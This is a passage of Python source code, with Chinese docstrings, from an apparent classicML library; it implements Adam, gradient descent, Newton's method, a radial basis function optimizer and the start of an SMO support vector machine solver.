\u6a21\u578b\u8bad\u7ec3\u8fc7\u7a0b\u7684\u4e2d\u95f4\u6570\u636e\u8bb0\u5f55\u5668.\n\n Returns:\n \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n \"\"\"\n verbose, loss, metric, callbacks = _get_optimizer_parameters(args, kwargs)\n num_of_features = x.shape[0]\n\n # \u5bf9Adam\u8fdb\u884c\u521d\u59cb\u5316\n m, v = self._initializer(parameters)\n\n if verbose is True:\n # \u5b9e\u4f8b\u5316\u8fdb\u5ea6\u6761\n self._progressbar = ProgressBar(epochs, loss, metric)\n\n for epoch in range(1, epochs + 1):\n current = time()\n # \u968f\u673a\u9009\u53d6\u6837\u672c\n random_index = np.random.randint(0, num_of_features)\n # \u524d\u5411\u4f20\u64ad\n y_pred, caches = self.forward(x[[random_index], :], parameters)\n # \u53cd\u5411\u4f20\u64ad\n # Notes: \u6b64\u65f6y_true\u662f\u4e2ascalar\n grad = self.backward(y_pred, np.asarray([y[random_index]]), caches)\n # \u66f4\u65b0\u53c2\u6570\n parameters, m, v = self._update_parameters(parameters, grad, m, v, epoch)\n # \u4ee5\u4e0b\u7684\u64cd\u4f5c\u662f\u4e3a\u4e86\u66f4\u597d\u53ef\u89c6\u5316\u7684, \u4e0d\u53c2\u4e0e\u5b9e\u9645\u4f18\u5316\n if self._progressbar or callbacks is not None:\n # \u7531\u4e8e\u6bcf\u6b21\u53ea\u66f4\u65b0\u4e00\u4e2a\u6837\u672c\u5bfc\u81f4\u9884\u6d4b\u503c\u7684\u5f62\u72b6\u548c\u6807\u7b7e\u4e0d\u4e00\u81f4,\n # \u56e0\u6b64\u9700\u8981\u591a\u505a\u4e00\u6b21\u524d\u5411\u4f20\u64ad\n y_pred, _ = self.forward(x, parameters)\n\n loss_value = loss(y_pred, y)\n metric_value = metric(y_pred, y)\n\n # \u8fdb\u5ea6\u6761\u663e\u793a\n if self._progressbar:\n self._progressbar(epoch, current, loss_value, metric_value)\n # \u8bb0\u5f55callbacks\n if callbacks:\n _record_callbacks(callbacks, loss_value, metric_value)\n\n return parameters\n\n def _update_parameters(self, parameters, grad, *args, **kwargs):\n \"\"\"\u66f4\u65b0\u6a21\u578b\u7684\u53c2\u6570.\n\n Arguments:\n parameters: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n grad: numpy.ndarray, \u4f18\u5316\u5668\u7684\u5b9e\u65f6\u68af\u5ea6\u77e9\u9635.\n args:\n moment_vector_1: dict of numpy.ndarray,\n \u4e00\u9636\u5411\u91cf.\n moment_vector_2: dict of numpy.ndarray,\n \u4e8c\u9636\u5411\u91cf.\n epoch: int, \u5f53\u524d\u7684\u8bad\u7ec3\u8f6e\u6570.\n\n Returns:\n \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n \"\"\"\n m, v, epoch = args[0], args[1], args[2]\n\n num_of_matrix_ops = len(parameters) // 2\n\n for i in range(1, num_of_matrix_ops + 1):\n # \u66f4\u65b0\u4e00\u9636\u77e9\u4f30\u8ba1\u8bef\u5dee\n m['dw' + str(i)] = self.beta_1 * m['dw' + str(i)] + (1 - self.beta_1) * grad['dw' + str(i)]\n m['db' + str(i)] = self.beta_1 * m['db' + str(i)] + (1 - self.beta_1) * grad['db' + str(i)]\n # \u66f4\u65b0\u4e8c\u9636\u77e9\u4f30\u8ba1\u8bef\u5dee\n v['dw' + str(i)] = self.beta_2 * v['dw' + str(i)] + (1 - self.beta_2) * (grad['dw' + str(i)] ** 2)\n v['db' + str(i)] = self.beta_2 * v['db' + str(i)] + (1 - self.beta_2) * (grad['db' + str(i)] ** 2)\n # \u77eb\u6b63\u4e00\u9636\u77e9\u4f30\u8ba1\u8bef\u5dee\n m_hat_w = m['dw' + str(i)] / (1 - np.power(self.beta_1, epoch))\n m_hat_b = m['db' + str(i)] / (1 - np.power(self.beta_1, epoch))\n # \u77eb\u6b63\u4e8c\u9636\u77e9\u4f30\u8ba1\u8bef\u5dee\n v_hat_w = v['dw' + str(i)] / (1 - np.power(self.beta_2, epoch))\n v_hat_b = v['db' + str(i)] / (1 - np.power(self.beta_2, epoch))\n # \u66f4\u65b0\u53c2\u6570\n parameters['w' + str(i)] -= self.learning_rate * m_hat_w / (np.sqrt(v_hat_w) + self.epsilon)\n parameters['b' + str(i)] -= self.learning_rate * m_hat_b / (np.sqrt(v_hat_b) + self.epsilon)\n\n return parameters, m, v\n\n @staticmethod\n def _initializer(parameters):\n \"\"\"\u521d\u59cb\u5316\u4e00\u9636\u548c\u4e8c\u9636\u5411\u91cf, \u7b97\u6cd5\u4e00\u5b9e\u73b0\u5168\u521d\u59cb\u5316\u4e3a\u96f6.\n\n Arguments:\n parameters: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n\n Returns:\n \u4e00\u9636\u548c\u4e8c\u9636\u5411\u91cf\u5b57\u5178.\n \"\"\"\n num_of_matrix_ops = len(parameters) // 2\n\n moment_vector_1 = {}\n moment_vector_2 = {}\n\n for i in range(1, num_of_matrix_ops + 1):\n moment_vector_1['dw' + str(i)] = np.zeros(parameters['w' + str(i)].shape)\n moment_vector_1['db' + str(i)] = np.zeros(parameters['b' + str(i)].shape)\n\n moment_vector_2['dw' + str(i)] = np.zeros(parameters['w' + str(i)].shape)\n moment_vector_2['db' + str(i)] = np.zeros(parameters['b' + str(i)].shape)\n\n return moment_vector_1, moment_vector_2\n\n\nclass GradientDescent(Optimizer):\n \"\"\"\u68af\u5ea6\u4e0b\u964d\u4f18\u5316\u5668.\n \"\"\"\n def __init__(self, name='gradient_descent', learning_rate=1e-2):\n \"\"\"\n Arguments:\n name: str, default=None,\n \u4f18\u5316\u5668\u7684\u540d\u79f0.\n learning_rate: float, default=1e-2,\n \u4f18\u5316\u5668\u7684\u5b66\u4e60\u7387.\n \"\"\"\n super(GradientDescent, self).__init__(name=name)\n self.learning_rate = learning_rate\n\n def run(self, x, y, epochs, beta, *args, **kwargs):\n \"\"\"\u8fd0\u884c\u4f18\u5316\u5668\u4f18\u5316\u53c2\u6570.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n y: numpy.ndarray, array-like, \u6807\u7b7e.\n epochs: int, default=1, \u8bad\u7ec3\u7684\u8f6e\u6570.\n beta: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n args:\n verbose: bool, \u663e\u793a\u65e5\u5fd7\u4fe1\u606f.\n loss: str, classicML.losses.Loss \u5b9e\u4f8b,\n \u6a21\u578b\u4f7f\u7528\u7684\u635f\u5931\u51fd\u6570.\n metric: str, classicML.metrics.Metric \u5b9e\u4f8b,\n \u6a21\u578b\u4f7f\u7528\u7684\u8bc4\u4f30\u51fd\u6570.\n Returns:\n \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n \"\"\"\n verbose, loss, metric, callbacks = _get_optimizer_parameters(args, kwargs)\n if verbose is True:\n # \u5b9e\u4f8b\u5316\u8fdb\u5ea6\u6761\n self._progressbar = ProgressBar(epochs, loss, metric)\n\n for epoch in range(1, epochs+1):\n current = time()\n # \u524d\u5411\u4f20\u64ad\n y_pred, x_hat = self.forward(x, beta)\n # \u53cd\u5411\u4f20\u64ad\n grad = self.backward(y_pred, y, x_hat)\n # \u66f4\u65b0\u53c2\u6570\n beta = self._update_parameters(beta, grad)\n # \u4ee5\u4e0b\u7684\u64cd\u4f5c\u662f\u4e3a\u4e86\u66f4\u597d\u53ef\u89c6\u5316\u7684, \u4e0d\u53c2\u4e0e\u5b9e\u9645\u4f18\u5316\n if self._progressbar or callbacks is not None:\n if loss.name == 'log_likelihood':\n loss_value = loss(y, beta, x_hat)\n else:\n loss_value = loss(y_pred, y)\n metric_value = metric(y_pred, y)\n\n # \u8bb0\u5f55callbacks\n if callbacks:\n _record_callbacks(callbacks, loss_value, metric_value)\n # \u8fdb\u5ea6\u6761\u663e\u793a\n if self._progressbar:\n self._progressbar(epoch, current, loss_value, metric_value)\n\n return beta\n\n def _update_parameters(self, beta, grad, *args, **kwargs):\n \"\"\"\u66f4\u65b0\u6a21\u578b\u7684\u53c2\u6570.\n\n Arguments:\n beta: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n grad: numpy.ndarray, \u4f18\u5316\u5668\u7684\u5b9e\u65f6\u68af\u5ea6\u77e9\u9635.\n \"\"\"\n beta -= self.learning_rate * grad\n\n return beta\n\n @staticmethod\n def forward(x, parameters):\n \"\"\"\u4f18\u5316\u5668\u524d\u5411\u4f20\u64ad.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n parameters: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n\n Returns:\n \u9884\u6d4b\u7684\u6807\u7b7e(\u6982\u7387\u5f62\u5f0f)\u548c\u53c2\u6570(x;1)\u77e9\u9635.\n \"\"\"\n number_of_sample = x.shape[0]\n parameters = parameters.reshape(-1, 1)\n\n x_hat = np.c_[x, np.ones((number_of_sample, 1), dtype=_cml_precision.float)]\n cache = np.matmul(x_hat, parameters)\n y_pred = sigmoid(cache)\n\n return y_pred, x_hat\n\n @staticmethod\n def backward(y_pred, y_true, x_hat):\n \"\"\"\u4f18\u5316\u5668\u53cd\u5411\u4f20\u64ad.\n\n Arguments:\n y_pred: numpy.ndarray, \u9884\u6d4b\u7684\u6807\u7b7e(\u6982\u7387\u5f62\u5f0f).\n y_true: numpy.ndarray, \u771f\u5b9e\u7684\u6807\u7b7e.\n x_hat: numpy.ndarray, \u5c5e\u6027\u7684\u53c2\u6570\u77e9\u9635.\n\n Returns:\n \u4f18\u5316\u5668\u7684\u5b9e\u65f6\u68af\u5ea6\u77e9\u9635.\n \"\"\"\n y_true = y_true.reshape(-1, 1)\n error = _cml_precision.float(y_true - y_pred)\n grad = np.sum((-x_hat * error), axis=0)\n grad = grad.reshape(-1, 1)\n\n return grad\n\n\nclass NewtonMethod(Optimizer):\n \"\"\"\u725b\u987f\u6cd5\u4f18\u5316\u5668.\n \"\"\"\n def __init__(self, name='newton_method'):\n \"\"\"\n Arguments:\n name: str, default=None,\n \u4f18\u5316\u5668\u7684\u540d\u79f0.\n \"\"\"\n super(NewtonMethod, self).__init__(name=name)\n\n def run(self, x, y, epochs, beta, *args, **kwargs):\n \"\"\"\u8fd0\u884c\u4f18\u5316\u5668\u4f18\u5316\u53c2\u6570.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n y: numpy.ndarray, array-like, \u6807\u7b7e.\n epochs: int, default=1, \u8bad\u7ec3\u7684\u8f6e\u6570.\n beta: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n args:\n verbose: bool, \u663e\u793a\u65e5\u5fd7\u4fe1\u606f.\n loss: str, classicML.losses.Loss \u5b9e\u4f8b,\n \u6a21\u578b\u4f7f\u7528\u7684\u635f\u5931\u51fd\u6570.\n metric: str, classicML.metrics.Metric \u5b9e\u4f8b,\n \u6a21\u578b\u4f7f\u7528\u7684\u8bc4\u4f30\u51fd\u6570.\n\n Returns:\n \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n \"\"\"\n verbose, loss, metric, callbacks = _get_optimizer_parameters(args, kwargs)\n if verbose:\n # \u5b9e\u4f8b\u5316\u8fdb\u5ea6\u6761\n self._progressbar = ProgressBar(epochs, loss, metric)\n\n for epoch in range(1, epochs + 1):\n current = time()\n # \u524d\u5411\u4f20\u64ad\n y_pred, x_hat = self.forward(x, beta)\n # \u53cd\u5411\u4f20\u64ad\n grad = self.backward(y_pred, y, x_hat)\n # \u6c42\u89e3\u6d77\u68ee\u77e9\u9635\n hessian = self._get_hessian_matrix(y_pred, x_hat)\n # \u66f4\u65b0\u53c2\u6570\n beta = self._update_parameters(beta, grad, hessian)\n # \u4ee5\u4e0b\u7684\u64cd\u4f5c\u662f\u4e3a\u4e86\u66f4\u597d\u53ef\u89c6\u5316\u7684, \u4e0d\u53c2\u4e0e\u5b9e\u9645\u4f18\u5316\n if self._progressbar or callbacks is not None:\n if loss.name == 'log_likelihood':\n loss_value = loss(y, beta, x_hat)\n else:\n loss_value = loss(y_pred, y)\n metric_value = metric(y_pred, y)\n\n # \u8fdb\u5ea6\u6761\u663e\u793a\n if self._progressbar:\n self._progressbar(epoch, current, loss_value, metric_value)\n # \u8bb0\u5f55callbacks\n if callbacks:\n _record_callbacks(callbacks, loss_value, metric_value)\n\n return beta\n\n def _update_parameters(self, beta, grad, *args, **kwargs):\n \"\"\"\u66f4\u65b0\u6a21\u578b\u7684\u53c2\u6570.\n\n Arguments:\n beta: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n grad: numpy.ndarray, \u4f18\u5316\u5668\u7684\u5b9e\u65f6\u68af\u5ea6\u77e9\u9635.\n args:\n hessian: numpy.ndarray, \u6d77\u68ee\u77e9\u9635.\n \"\"\"\n hessian = args[0]\n beta -= np.matmul(np.linalg.inv(hessian), grad)\n\n return beta\n\n @staticmethod\n def forward(x, parameters):\n \"\"\"\u4f18\u5316\u5668\u524d\u5411\u4f20\u64ad.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n parameters: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n\n Returns:\n \u9884\u6d4b\u7684\u6807\u7b7e(\u6982\u7387\u5f62\u5f0f)\u548c\u53c2\u6570(x;1)\u77e9\u9635.\n \"\"\"\n number_of_sample = x.shape[0]\n parameters = parameters.reshape(-1, 1)\n\n x_hat = np.c_[x, np.ones((number_of_sample, 1), dtype=_cml_precision.float)]\n cache = np.matmul(x_hat, parameters)\n y_pred = sigmoid(cache)\n\n return y_pred, x_hat\n\n @staticmethod\n def backward(y_pred, y_true, x_hat):\n \"\"\"\u4f18\u5316\u5668\u53cd\u5411\u4f20\u64ad.\n\n Arguments:\n y_pred: numpy.ndarray, \u9884\u6d4b\u7684\u6807\u7b7e(\u6982\u7387\u5f62\u5f0f).\n y_true: numpy.ndarray, \u771f\u5b9e\u7684\u6807\u7b7e.\n x_hat: numpy.ndarray, \u5c5e\u6027\u7684\u53c2\u6570\u77e9\u9635.\n\n Returns:\n \u4f18\u5316\u5668\u7684\u5b9e\u65f6\u68af\u5ea6\u77e9\u9635.\n \"\"\"\n y_true = y_true.reshape(-1, 1)\n error = _cml_precision.float(y_true - y_pred)\n grad = np.sum((-x_hat * error), axis=0)\n grad = grad.reshape(-1, 1)\n\n return grad\n\n @staticmethod\n def _get_hessian_matrix(y_pred, x_hat):\n \"\"\"\u8ba1\u7b97\u6d77\u68ee\u77e9\u9635(\u4e8c\u9636\u5bfc\u6570).\n\n Arguments:\n y_pred: numpy.ndarray, \u9884\u6d4b\u7684\u6807\u7b7e(\u6982\u7387\u5f62\u5f0f).\n x_hat: numpy.ndarray, \u5c5e\u6027\u7684\u53c2\u6570\u77e9\u9635.\n\n Returns:\n \u6d77\u68ee\u77e9\u9635.\n \"\"\"\n P = np.eye(x_hat.shape[0]) * y_pred * (1 - y_pred)\n H = np.matmul(np.matmul(x_hat.T, P), x_hat)\n\n return H\n\n\nclass RadialBasisFunctionOptimizer(Optimizer):\n \"\"\"\u5f84\u5411\u57fa\u51fd\u6570\u4f18\u5316\u5668.\n \"\"\"\n def __init__(self, name='rbf', learning_rate=1e-2):\n \"\"\"\n Arguments:\n name: str, default=None,\n \u4f18\u5316\u5668\u7684\u540d\u79f0.\n learning_rate: float, default=1e-2,\n \u4f18\u5316\u5668\u7684\u5b66\u4e60\u7387.\n \"\"\"\n super(RadialBasisFunctionOptimizer, self).__init__(name=name)\n self.learning_rate = learning_rate\n\n def run(self, x, y, epochs, parameters, *args, **kwargs):\n \"\"\"\u8fd0\u884c\u4f18\u5316\u5668\u4f18\u5316\u53c2\u6570.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n y: numpy.ndarray, array-like, \u6807\u7b7e.\n epochs: int, default=1, \u8bad\u7ec3\u7684\u8f6e\u6570.\n parameters: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n args:\n verbose: bool, \u663e\u793a\u65e5\u5fd7\u4fe1\u606f.\n loss: str, classicML.losses.Loss \u5b9e\u4f8b,\n \u6a21\u578b\u4f7f\u7528\u7684\u635f\u5931\u51fd\u6570.\n metric: str, classicML.metrics.Metric \u5b9e\u4f8b,\n \u6a21\u578b\u4f7f\u7528\u7684\u8bc4\u4f30\u51fd\u6570.\n callbacks: list,\n \u6a21\u578b\u8bad\u7ec3\u8fc7\u7a0b\u7684\u4e2d\u95f4\u6570\u636e\u8bb0\u5f55\u5668.\n Returns:\n \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n \"\"\"\n verbose, loss, metric, callbacks = _get_optimizer_parameters(args, kwargs)\n\n if verbose is True:\n # \u5b9e\u4f8b\u5316\u8fdb\u5ea6\u6761\n self._progressbar = ProgressBar(epochs, loss, metric)\n\n for epoch in range(1, epochs+1):\n current = time()\n # \u524d\u5411\u4f20\u64ad\n y_pred, cache = self.forward(x, parameters)\n # \u53cd\u5411\u4f20\u64ad\n grad = self.backward(y_pred, y, cache)\n # \u66f4\u65b0\u53c2\u6570\n parameters = self._update_parameters(parameters, grad)\n # \u4ee5\u4e0b\u7684\u64cd\u4f5c\u662f\u4e3a\u4e86\u66f4\u597d\u53ef\u89c6\u5316\u7684, \u4e0d\u53c2\u4e0e\u5b9e\u9645\u4f18\u5316\n if self._progressbar or callbacks is not None:\n loss_value = loss(y_pred, y)\n metric_value = metric(y_pred, y)\n # \u8fdb\u5ea6\u6761\u663e\u793a\n if self._progressbar:\n self._progressbar(epoch, current, loss_value, metric_value)\n # \u8bb0\u5f55callbacks\n if callbacks:\n _record_callbacks(callbacks, loss_value, metric_value)\n\n return parameters\n\n def _update_parameters(self, parameters, grad, *args, **kwargs):\n \"\"\"\u66f4\u65b0\u6a21\u578b\u7684\u53c2\u6570.\n\n Arguments:\n parameters: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n grad: numpy.ndarray, \u4f18\u5316\u5668\u7684\u5b9e\u65f6\u68af\u5ea6\u77e9\u9635.\n\n Returns:\n \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n \"\"\"\n parameters['w'] -= self.learning_rate * grad['dw']\n parameters['b'] -= self.learning_rate * grad['db']\n parameters['beta'] -= self.learning_rate * grad['dbeta']\n\n return parameters\n\n @staticmethod\n def forward(x, parameters):\n \"\"\"\u4f18\u5316\u5668\u524d\u5411\u4f20\u64ad.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n parameters: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n\n Returns:\n \u9884\u6d4b\u7684\u6807\u7b7e(\u6982\u7387\u5f62\u5f0f)\u548c\u53c2\u6570\u77e9\u9635\u7f13\u5b58.\n \"\"\"\n number_of_sample = x.shape[0]\n # \u63d0\u53d6\u53c2\u6570\n w, b, c, beta = parameters['w'], parameters['b'], parameters['c'], parameters['beta']\n # \u83b7\u53d6\u9690\u542b\u5c42\u795e\u7ecf\u5143\u7684\u6570\u91cf\n units = c.shape[0]\n # \u521d\u59cb\u5316\u9ad8\u65af\u5f84\u5411\u57fa\u51fd\u6570\n rho = np.zeros([number_of_sample, units], dtype=_cml_precision.float)\n x_ci = np.zeros([number_of_sample, units], dtype=_cml_precision.float)\n for unit in range(units):\n x_ci[:, unit] = np.linalg.norm(x - c[[unit], ], axis=1) ** 2\n rho[:, unit] = np.exp(-beta[0, unit] * x_ci[:, unit])\n\n y_pred = np.matmul(rho, w.T) + b\n cache = (rho, x_ci, w, beta)\n\n return y_pred, cache\n\n @staticmethod\n def backward(y_pred, y_true, cache):\n \"\"\"\u4f18\u5316\u5668\u53cd\u5411\u4f20\u64ad.\n\n Arguments:\n y_pred: numpy.ndarray, \u9884\u6d4b\u7684\u6807\u7b7e(\u6982\u7387\u5f62\u5f0f).\n y_true: numpy.ndarray, \u771f\u5b9e\u7684\u6807\u7b7e.\n cache: numpy.ndarray, \u53c2\u6570\u7f13\u5b58.\n\n Returns:\n \u4f18\u5316\u5668\u7684\u5b9e\u65f6\u68af\u5ea6\u77e9\u9635.\n \"\"\"\n (rho, x_ci, w, beta) = cache\n grad = {}\n\n dy = y_pred - y_true # \u8fd9\u91cc\u867d\u7136\u53eb\u505ady, \u4f46\u5176\u5b9e\u662f\u771f\u5b9e\u503c\u548c\u9884\u6d4b\u503c\u4e4b\u95f4\u7684\u8bef\u5dee\n dw = np.matmul(dy.T, rho) / y_true.shape[0]\n db = np.sum(dy, axis=0, keepdims=True) / y_true.shape[0]\n drho = np.matmul(y_pred, w)\n dbeta = np.sum(drho * rho * (-x_ci), axis=0, keepdims=True) / y_true.shape[0]\n\n grad['dw'] = dw\n grad['db'] = db\n grad['dbeta'] = dbeta\n\n return grad\n\n\nclass SequentialMinimalOptimization(Optimizer):\n \"\"\"\u5e8f\u5217\u6700\u5c0f\u6700\u4f18\u5316\u7b97\u6cd5. SMO\u7b97\u6cd5\u662f\u4e00\u79cd\u542f\u53d1\u5f0f\u7b97\u6cd5,\n \u5373\u6bcf\u6b21\u4f18\u5316\u4e24\u4e2a\u53d8\u91cf, \u4f7f\u4e4b\u6ee1\u8db3KKT\u6761\u4ef6; \u4e0d\u65ad\u8fed\u4ee3, \u6700\u540e\u4f7f\u5f97\u5168\u90e8\u53d8\u91cf\u6ee1\u8db3KKT\u6761\u4ef6.\n \u6574\u4e2aSMO\u7b97\u6cd5\u5305\u62ec: \u6c42\u89e3\u4e24\u4e2a\u53d8\u91cf\u7684\u4e8c\u6b21\u89c4\u5212\u95ee\u9898\u548c\u9009\u62e9\u53d8\u91cf\u7684\u542f\u53d1\u5f0f\u65b9\u6cd5.\n\n Attributes:\n alphas: numpy.ndarray,\n \u62c9\u683c\u6717\u65e5\u4e58\u5b50\u6570\u7ec4.\n non_bound_alphas: numpy.ndarray,\n \u975e\u8fb9\u754c\u62c9\u683c\u6717\u65e5\u4e58\u5b50.(\u786c\u95f4\u9694\u4e0b\u548c\u975e\u96f6\u62c9\u683c\u6717\u65e5\u4e58\u5b50\u4e00\u6837, \u8f6f\u95f4\u9694\u662f\u975e\u96f6\u62c9\u683c\u6717\u65e5\u4e58\u5b50\u7684\u5b50\u96c6.)\n error_cache: numpy.ndarray,\n KKT\u6761\u4ef6\u7684\u8fdd\u80cc\u503c\u7f13\u5b58.\n non_zero_alphas: numpy.ndarray,\n \u975e\u96f6\u62c9\u683c\u6717\u65e5\u4e58\u5b50.\n b: float, default=0,\n \u504f\u7f6e\u9879.\n C: float, default=None\n \u8f6f\u95f4\u9694\u6b63\u5219\u5316\u7cfb\u6570.\n kernel: str, classicML.kernel.Kernels \u5b9e\u4f8b, default=None\n \u5206\u7c7b\u5668\u4f7f\u7528\u7684\u6838\u51fd\u6570.\n tol: float, default=None\n \u505c\u6b62\u8bad\u7ec3\u7684\u6700\u5927\u8bef\u5dee\u503c.\n epochs: int, default=None\n \u6700\u5927\u7684\u8bad\u7ec3\u8f6e\u6570, \u5982\u679c\u662f-1\u5219\u8868\u793a\u9700\u8981\u6240\u6709\u7684\u6837\u672c\u6ee1\u8db3\u6761\u4ef6\u65f6,\n \u624d\u80fd\u505c\u6b62\u8bad\u7ec3, \u5373\u6ca1\u6709\u9650\u5236.\n\n References:\n - [\u674e\u822a, 2012.] \u7edf\u8ba1\u5b66\u4e60\u65b9\u6cd5 P124~P131\n \"\"\"\n def __init__(self, name='SMO'):\n super(SequentialMinimalOptimization, self).__init__(name=name)\n\n self.alphas = None\n self.non_bound_alphas = None\n self.error_cache = None\n self.non_zero_alphas = None\n self.b = None\n\n self.C = None\n self.kernel = None\n self.tol = None\n self.epochs = None\n\n def run(self, x, y, *args, **kwargs):\n \"\"\"\u8fd0\u884c\u4f18\u5316\u5668\u4f18\u5316\u53c2\u6570.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n y: numpy.ndarray, array-like, \u6807\u7b7e.\n args:\n C: float,\n \u8f6f\u95f4\u9694\u6b63\u5219\u5316\u7cfb\u6570.\n kernel: str, classicML.kernels.Kernel \u5b9e\u4f8b,\n \u5206\u7c7b\u5668\u4f7f\u7528\u7684\u6838\u51fd\u6570.\n tol: float,\n \u505c\u6b62\u8bad\u7ec3\u7684\u6700\u5927\u8bef\u5dee\u503c.\n epochs: int,\n \u6700\u5927\u7684\u8bad\u7ec3\u8f6e\u6570, \u5982\u679c\u662f-1\u5219\u8868\u793a\u9700\u8981\u6240\u6709\u7684\u6837\u672c\u6ee1\u8db3\u6761\u4ef6\u65f6,\n \u624d\u80fd\u505c\u6b62\u8bad\u7ec3, \u5373\u6ca1\u6709\u9650\u5236.\n Returns:\n \u5206\u7c7b\u5668\u7684\u652f\u6301\u5411\u91cf\u4e0b\u6807\u6570\u7ec4, \u652f\u6301\u5411\u91cf\u6570\u7ec4, \u62c9\u683c\u6717\u65e5\u4e58\u5b50\u6570\u7ec4, \u652f\u6301\u5411\u91cf\u5bf9\u5e94\u7684\u6807\u7b7e\u6570\u7ec4\u548c\u504f\u7f6e\u9879.\n \"\"\"\n self.C, self.kernel, self.tol, self.epochs = args[0], args[1], args[2], args[3]\n\n epoch = 0\n number_of_sample = x.shape[0]\n entire_flag = True\n\n # \u521d\u59cb\u5316\u4e3anumpy.ndarray\u6570\u7ec4, \u5728Python\u4e0b\u66f4\u65b0\u540e\u4f1a\u81ea\u52a8\u8f6c\u6362\u6570\u636e\u7c7b\u578b\u4e3anumpy.ndarray,\n # \u4f46\u662f, CC\u5728\u7b2c\u4e00\u6b21\u8f93\u5165\u7684\u65f6\u5019\u4e3afloat, \u8fd9\u91cc\u5f3a\u5236\u4e3anumpy.ndarray\u7528\u4ee5\u89e3\u51b3CC\u4e0b\u4e0d\u80fd\u52a8\u6001\u7c7b\u578b\u8f93\u5165.\n self.b = np.asarray([0.0], dtype=_cml_precision.float)\n # \u521d\u59cb\u5316\u8fd4\u56de\u53c2\u6570, \u5728\u672a\u77e5\u6837\u672c\u7684\u6570\u91cf\u65f6\u65e0\u6cd5\u521d\u59cb\u5316.\n self.alphas = np.zeros((number_of_sample, ), dtype=_cml_precision.float)\n self.non_bound_alphas = np.zeros((number_of_sample, ), dtype=_cml_precision.float)\n self.error_cache = np.zeros((number_of_sample, ), dtype=_cml_precision.float)\n self.non_zero_alphas = np.zeros((number_of_sample, ), dtype=bool)\n\n while (self.epochs == -1) or (epoch < self.epochs):\n pair_of_alpha_changed = 0\n epoch += 1 # \u66f4\u65b0\u8fed\u4ee3\u6b21\u6570, \u5728\u4ee3\u7801\u5757\u7ed3\u5c3e\u66f4\u65b0\u6709\u53ef\u80fd\u56e0\u4e3a\u63d0\u524d\u8fd4\u56de\u800c\u8ba1\u6570\u4e0d\u51c6\u786e.\n\n if entire_flag: # \u7b2c\u4e00\u6b21\u5fc5\u987b\u5168\u90e8\u5168\u90e8\u904d\u5386\u4e00\u904d, \u56e0\u4e3a\u521d\u59cb\u503c\u5168\u90e8\u4e3a\u96f6.\n for sample in range(number_of_sample):\n pair_of_alpha_changed += self._update_parameters(x, y, sample, number_of_sample)\n else:\n non_bound_index = self.non_bound_alphas.nonzero()[0]\n for sample in non_bound_index:\n pair_of_alpha_changed += self._update_parameters(x, y, sample, number_of_sample)\n\n if entire_flag is True:\n # \u904d\u5386\u6240\u6709\u6837\u672c\u8fd8\u662f\u6ca1\u6709\u66f4\u65b0, \u5c31\u9000\u51fa\u5faa\u73af.\n if pair_of_alpha_changed == 0:\n support = self.non_zero_alphas.nonzero()[0]\n support_vector = x[support]\n support_alpha = self.alphas[self.non_zero_alphas]\n support_y = y[support]\n\n return support, support_vector, support_alpha, support_y, self.b\n entire_flag = False\n elif pair_of_alpha_changed == 0:\n entire_flag = True\n\n # `numpy.nonzero`\u83b7\u53d6\u7d22\u5f15\u4ea7\u751f\u7684\u65b0\u6570\u7ec4, \u7c7b\u578b\u9ed8\u8ba4\u4e3apure int(\u53c2\u4e0enumpy\u81ea\u52a8\u8f6c\u6362\u4e3anp.int64),\n support = _cml_precision.int(self.non_zero_alphas.nonzero()[0])\n support_vector = x[support]\n support_alpha = self.alphas[self.non_zero_alphas]\n support_y = y[support]\n\n return support, support_vector, support_alpha, support_y, self.b\n\n def _update_parameters(self, x, y, *args, **kwargs):\n \"\"\"SMO\u7b97\u6cd5\u7684\u5185\u5faa\u73af(\u66f4\u65b0\u53c2\u6570\u7684\u5177\u4f53\u5b9e\u73b0), \u5bfb\u627e\u7b2c\u4e8c\u4e2a\u8981\u66f4\u65b0\u7684\u53d8\u91cfalpha_j, \u5e76\u8fdb\u884c\u66f4\u65b0.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n y: numpy.ndarray, array-like, \u6807\u7b7e.\n args:\n i: int, \u7b2ci\u4e2a\u6837\u672c.\n number_of_sample: int, \u6837\u672c\u7684\u603b\u6570.\n\n Returns:\n \u66f4\u65b0\u662f\u5426\u6210\u529f\u7684\u6807\u8bb0.\n \"\"\"\n i, number_of_sample = args[0], args[1]\n y_i = y[i, :]\n alpha_i = self.alphas[i]\n\n # \u63d0\u53d6\u8fdd\u80cc\u503c, \u4fdd\u5b58\u4e3a\u7f13\u5b58(\u53ef\u80fd\u8981\u5b9e\u65f6\u8ba1\u7b97).\n if self.non_bound_alphas[i]:\n error_i = self.error_cache[i]\n else:\n error_i = calculate_error(x, y, i, self.kernel, self.alphas, self.non_zero_alphas, 